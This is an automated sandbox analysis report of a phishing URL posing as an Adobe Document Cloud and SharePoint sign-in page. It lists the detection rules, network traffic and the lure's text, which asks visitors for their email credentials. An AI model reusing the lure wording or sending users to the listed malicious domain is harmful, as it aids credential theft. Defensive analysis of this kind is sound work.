Edit tour

Windows Analysis Report
https://statesborozga.cfd/Proten/

Overview

General Information

Sample URL:	https://statesborozga.cfd/Proten/
Analysis ID:	1427688
Infos:

Detection

HTMLPhisher

Score:	80
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Snort IDS alert for network traffic

Yara detected HtmlPhish10

Yara detected HtmlPhish7

Phishing site detected (based on shot match)

Phishing site or detected (based on various text indicators)

HTML body contains low number of good links

HTML body contains password input but no form action

HTML title does not match URL

Classification

Process Tree

System is w10x64

chrome.exe (PID: 2312 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 3444 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2228 --field-trial-handle=2072,i,9318174922790436995,11561750414343662516,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6384 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://statesborozga.cfd/Proten/" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
dropped/chromecache_78	JoeSecurity_HtmlPhish_7	Yara detected HtmlPhish_7	Joe Security
dropped/chromecache_78	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security

HTML

Source	Rule	Description	Author	Strings
0.0.pages.csv	JoeSecurity_HtmlPhish_7	Yara detected HtmlPhish_7	Joe Security
0.0.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security

Snort Signatures

ET CURRENT_EVENTS Generic Multibrand Ajax XHR CredPost Phishing Landing - Source IP: 172.67.137.170 - Destination IP: 192.168.2.4

Timestamp:	04/18/24-00:28:00.963741
SID:	2032515
Source Port:	443
Destination Port:	49735
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: https://statesborozga.cfd/Proten/

SlashNext: detection malicious, Label: Credential Stealing type: Phishing & Social Engineering

Phishing

Yara detected HtmlPhish10

Source: Yara match	File source: 0.0.pages.csv, type: HTML
Source: Yara match	File source: dropped/chromecache_78, type: DROPPED

Yara detected HtmlPhish7

Source: Yara match	File source: 0.0.pages.csv, type: HTML
Source: Yara match	File source: dropped/chromecache_78, type: DROPPED

Phishing site detected (based on shot match)

Source: https://statesborozga.cfd/Proten/

Matcher: Template: multims matched

Phishing site or detected (based on various text indicators)

Source: Chrome DOM: 0.0

OCR Text: Adobe Document Cloud To read the document, please enter with the valid email credentials that this file was sent to. Sign in with Outlook Sign in with Office365 Sign in with Other Mail Select your email provider to view Document CopyRightO 2020

Source: https://statesborozga.cfd/Proten/

HTTP Parser: Number of links: 0

Source: https://statesborozga.cfd/Proten/

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: https://statesborozga.cfd/Proten/

HTTP Parser: Title: Share Point Online does not match URL

Source: https://statesborozga.cfd/Proten/

HTTP Parser: <input type="password" .../> found

Source: https://statesborozga.cfd/Proten/

HTTP Parser: No favicon

Source: https://statesborozga.cfd/Proten/

HTTP Parser: No <meta name="author".. found

Source: https://statesborozga.cfd/Proten/

HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 184.31.62.93:443 -> 192.168.2.4:49767 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.31.62.93:443 -> 192.168.2.4:49770 version: TLS 1.2

Networking

Snort IDS alert for network traffic

Source: Traffic

Snort IDS: 2032515 ET CURRENT_EVENTS Generic Multibrand Ajax XHR CredPost Phishing Landing 172.67.137.170:443 -> 192.168.2.4:49735

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 184.31.62.93
Source: unknown	TCP traffic detected without corresponding DNS query: 184.31.62.93
Source: unknown	TCP traffic detected without corresponding DNS query: 184.31.62.93
Source: unknown	TCP traffic detected without corresponding DNS query: 184.31.62.93
Source: unknown	TCP traffic detected without corresponding DNS query: 184.31.62.93
Source: unknown	TCP traffic detected without corresponding DNS query: 184.31.62.93
Source: unknown	TCP traffic detected without corresponding DNS query: 184.31.62.93
Source: unknown	TCP traffic detected without corresponding DNS query: 184.31.62.93
Source: unknown	TCP traffic detected without corresponding DNS query: 184.31.62.93
Source: unknown	TCP traffic detected without corresponding DNS query: 184.31.62.93
Source: unknown	TCP traffic detected without corresponding DNS query: 184.31.62.93
Source: unknown	TCP traffic detected without corresponding DNS query: 184.31.62.93
Source: unknown	TCP traffic detected without corresponding DNS query: 184.31.62.93
Source: unknown	TCP traffic detected without corresponding DNS query: 184.31.62.93
Source: unknown	TCP traffic detected without corresponding DNS query: 184.31.62.93
Source: unknown	TCP traffic detected without corresponding DNS query: 184.31.62.93
Source: unknown	TCP traffic detected without corresponding DNS query: 184.31.62.93
Source: unknown	TCP traffic detected without corresponding DNS query: 184.31.62.93
Source: unknown	TCP traffic detected without corresponding DNS query: 184.31.62.93
Source: unknown	TCP traffic detected without corresponding DNS query: 69.164.42.0
Source: unknown	TCP traffic detected without corresponding DNS query: 69.164.42.0
Source: unknown	TCP traffic detected without corresponding DNS query: 69.164.42.0
Source: unknown	TCP traffic detected without corresponding DNS query: 69.164.42.0
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /Proten/ HTTP/1.1Host: statesborozga.cfdConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /Proten/css/hover.css HTTP/1.1Host: statesborozga.cfdConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://statesborozga.cfd/Proten/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /Proten/images/adobe.jpg HTTP/1.1Host: statesborozga.cfdConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://statesborozga.cfd/Proten/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /Proten/images/outlook1.png HTTP/1.1Host: statesborozga.cfdConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://statesborozga.cfd/Proten/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.1.1.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://statesborozga.cfd/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.0.0/css/bootstrap.min.css HTTP/1.1Host: maxcdn.bootstrapcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://statesborozga.cfdsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: styleReferer: https://statesborozga.cfd/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /Proten/images/office3651.png HTTP/1.1Host: statesborozga.cfdConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://statesborozga.cfd/Proten/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /Proten/images/other1.png HTTP/1.1Host: statesborozga.cfdConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://statesborozga.cfd/Proten/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /Proten/images/outlook1.png HTTP/1.1Host: statesborozga.cfdConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /Proten/images/adobe.jpg HTTP/1.1Host: statesborozga.cfdConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /Proten/images/gmail.png HTTP/1.1Host: statesborozga.cfdConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://statesborozga.cfd/Proten/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.2.1.slim.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://statesborozga.cfdsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://statesborozga.cfd/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /Proten/images/8.jpg HTTP/1.1Host: statesborozga.cfdConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://statesborozga.cfd/Proten/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bootstrap/4.0.0/js/bootstrap.min.js HTTP/1.1Host: maxcdn.bootstrapcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://statesborozga.cfdsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://statesborozga.cfd/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://statesborozga.cfdsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://statesborozga.cfd/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: statesborozga.cfdConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://statesborozga.cfd/Proten/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /Proten/images/other1.png HTTP/1.1Host: statesborozga.cfdConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /Proten/images/office3651.png HTTP/1.1Host: statesborozga.cfdConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /Proten/images/gmail.png HTTP/1.1Host: statesborozga.cfdConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /Proten/images/8.jpg HTTP/1.1Host: statesborozga.cfdConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com

Source: unknown

DNS traffic detected: queries for: statesborozga.cfd

Source: unknown

HTTP traffic detected: POST /report/v4?s=XNBO0AWxeY0lvRO8PAKfVPSrr85CDwEuJf4GPrDq6nJJmOAj2X11IvgYZuKQLs4Zq8w86UdDTsggHHx7V%2BJqNZd5i6zkq9RNbv1weLllln3w%2B9VRmfi%2Fwfa2YTc4zU1AefQFbA%3D%3D HTTP/1.1Host: a.nel.cloudflare.comConnection: keep-aliveContent-Length: 432Content-Type: application/reports+jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 17 Apr 2024 22:28:03 GMTContent-Type: text/html; charset=iso-8859-1Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=14400CF-Cache-Status: EXPIREDReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XNBO0AWxeY0lvRO8PAKfVPSrr85CDwEuJf4GPrDq6nJJmOAj2X11IvgYZuKQLs4Zq8w86UdDTsggHHx7V%2BJqNZd5i6zkq9RNbv1weLllln3w%2B9VRmfi%2Fwfa2YTc4zU1AefQFbA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 875fd8914e60453d-ATLalt-svc: h3=":443"; ma=86400

Source: chromecache_68.2.dr	String found in binary or memory: http://ianlunn.co.uk/
Source: chromecache_68.2.dr	String found in binary or memory: http://ianlunn.github.io/Hover/)
Source: chromecache_91.2.dr	String found in binary or memory: http://opensource.org/licenses/MIT).
Source: chromecache_78.2.dr	String found in binary or memory: https://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js
Source: chromecache_78.2.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js
Source: chromecache_78.2.dr	String found in binary or memory: https://code.jquery.com/jquery-3.1.1.min.js
Source: chromecache_78.2.dr	String found in binary or memory: https://code.jquery.com/jquery-3.2.1.slim.min.js
Source: chromecache_78.2.dr	String found in binary or memory: https://code.jquery.com/jquery-3.3.1.js
Source: chromecache_84.2.dr, chromecache_90.2.dr, chromecache_70.2.dr, chromecache_76.2.dr	String found in binary or memory: https://fontawesome.com
Source: chromecache_84.2.dr, chromecache_90.2.dr, chromecache_70.2.dr, chromecache_76.2.dr	String found in binary or memory: https://fontawesome.com/license/free
Source: chromecache_78.2.dr	String found in binary or memory: https://fonts.googleapis.com/css?family=Yellowtail&display=swap
Source: chromecache_86.2.dr	String found in binary or memory: https://fonts.gstatic.com/s/yellowtail/v22/OZpGg_pnoDtINPfRIlLohlvHwQ.woff2)
Source: chromecache_69.2.dr, chromecache_66.2.dr	String found in binary or memory: https://getbootstrap.com)
Source: chromecache_68.2.dr	String found in binary or memory: https://github.com/IanLunn/Hover
Source: chromecache_69.2.dr, chromecache_66.2.dr	String found in binary or memory: https://github.com/twbs/bootstrap/blob/master/LICENSE)
Source: chromecache_66.2.dr	String found in binary or memory: https://github.com/twbs/bootstrap/graphs/contributors)
Source: chromecache_73.2.dr	String found in binary or memory: https://ka-f.fontawesome.com
Source: chromecache_73.2.dr	String found in binary or memory: https://kit.fontawesome.com
Source: chromecache_78.2.dr	String found in binary or memory: https://kit.fontawesome.com/585b051251.js
Source: chromecache_78.2.dr	String found in binary or memory: https://login.microsoftonline.com/common/login
Source: chromecache_78.2.dr	String found in binary or memory: https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css
Source: chromecache_78.2.dr	String found in binary or memory: https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443

Source: unknown	HTTPS traffic detected: 184.31.62.93:443 -> 192.168.2.4:49767 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.31.62.93:443 -> 192.168.2.4:49770 version: TLS 1.2

Source: classification engine

Classification label: mal80.phis.win@16/48@20/8

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2228 --field-trial-handle=2072,i,9318174922790436995,11561750414343662516,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://statesborozga.cfd/Proten/"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2228 --field-trial-handle=2072,i,9318174922790436995,11561750414343662516,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
